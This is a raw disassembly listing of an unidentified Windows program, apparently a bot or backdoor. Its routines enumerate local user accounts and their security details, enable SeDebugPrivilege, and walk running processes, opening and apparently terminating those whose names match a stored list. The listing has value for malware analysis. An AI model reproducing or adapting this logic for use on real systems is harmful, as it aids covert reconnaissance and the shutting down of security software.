loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4D070C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"

loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi

loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4D08B4

loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax

loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C

loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4E06A0
		push	off_43E26C[eax*4]
		push	offset unk_43EA18
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4E06A0
		push	off_43E268[eax*4]
		push	offset unk_43E9E8
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4E06A0
		lea	eax, [eax+eax*2]
		push	off_43E268[eax*4]
		push	offset unk_43E9C0
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4D06FC
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4D06EC
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4D087C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"

loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------

loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43EA38
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h

loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4D08B4

loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4D0784
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_43EC18
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA

loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43EBE4
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4D08B4
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4D08B4

loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567

loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4E0440
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4E0440
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26C0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4D0834
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4E023C
		push	offset unk_43EF4C
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------

loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4E023C
		push	eax
		push	offset dword_43EF20
		push	esi
		call	sub_41B886
		add	esp, 14h

loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27105AEh
		push	eax
		call	dword_4D0808
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4D07E0
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------

loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4D0890
		mov	esi, eax

loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		call	near ptr 26608ABh
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4D0844, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4D0828, ebx
		jz	loc_4198BB
		cmp	dword_4D0738, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4D0844
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4D0828
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4D0738
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh

loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_43EF78

loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43EFD8
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 2700A3Eh
		test	eax, eax
		jnz	loc_41988F

loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4D0844
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4D06E4
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]

loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]

loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
